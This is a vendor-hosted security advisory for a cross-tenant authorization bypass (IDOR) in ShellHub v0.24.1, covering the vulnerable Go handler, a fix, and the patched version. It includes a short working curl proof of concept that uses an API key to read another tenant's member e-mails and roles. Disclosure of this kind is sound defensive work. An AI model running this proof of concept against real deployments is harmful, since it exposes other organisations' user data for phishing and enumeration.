Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

GHSA-vwx9-7qcf-gg7f shellhub

MEDIUM

GHSA-vwx9-7qcf-gg7f is a medium-severity (CVSS 6.5) CWE-639 vulnerability in github.com/shellhub-io/shellhub. A fix is available for github.com/shellhub-io/shellhub — see the affected versions and patch details below.

ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses membership check

Also known asCVE-2026-44426GO-2026-5680
Published
May 7, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-vwx9-7qcf-gg7f.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs24th percentile — riskier than 24% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-vwx9-7qcf-gg7f plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/shellhub-io/shellhub

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

GET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.

The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.

Affected versions

ShellHub Community v0.24.1 (validated).

Root cause

api/routes/nsadm.go:75-102 — membership check is skipped when c.ID() is nil:

var uid string
if c.ID() != nil {
    uid = c.ID().ID
}

ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)
if err != nil || ns == nil {
    return c.NoContent(http.StatusNotFound)
}

if uid != "" {                              // ⚠️ skipped when API Key is used
    if _, ok := ns.FindMember(uid); !ok {
        return c.NoContent(http.StatusForbidden)
    }
}

return c.JSON(http.StatusOK, ns)

AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role, and X-API-KEY for API Key authentication — never X-ID. So c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and the membership check is bypassed.

Proof of concept (validated live against v0.24.1)

# Attacker authenticates in their own namespace and mints an API Key
ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"..."}' | jq -r .token)

ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc","expires_at":30}' | jq -r .id)

# Baseline: same request with JWT is correctly blocked
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
  -H "Authorization: Bearer $ATTACKER_TOKEN"
# Observed: HTTP 403 (correct)

# Exploit: same request with API Key returns full namespace
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
  -H "X-API-Key: $ATTACKER_KEY"
# Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],
#                      settings, max_devices, devices_accepted_count, type, created_at}

Impact

  • Enumeration of any ShellHub namespace by tenant UUID.
  • Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.
  • Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.

Suggested fix

Two layers:

  1. Primary — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:

    // nsadm.go GetNamespace
    if c.Tenant() != nil && c.Tenant().ID != req.Tenant {
        return c.NoContent(http.StatusForbidden)
    }
    

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/shellhub-io/shellhuball versions0.24.2go get github.com/shellhub-io/shellhub@v0.24.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/shellhub-io/shellhub, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/shellhub-io/shellhub to 0.24.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vwx9-7qcf-gg7f is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-vwx9-7qcf-gg7f can be triaged on real exposure rather than presence alone.

Tailored to GHSA-vwx9-7qcf-gg7f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `GET /api/namespaces/:tenant` returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key's own tenant scope. The handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication. ## Affected versions ShellHub Community v0.24.1 (validated). ## Root cause `api/routes/nsadm.go:75-102` — membership check is skipped when `c.ID()` is nil: ```go var uid string
O3 Security · Impact-Aware SCA

Is GHSA-vwx9-7qcf-gg7f in your dependencies?

O3 Security finds GHSA-vwx9-7qcf-gg7f across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-vwx9-7qcf-gg7f: shellhub (Medium 6.5) | O3 Security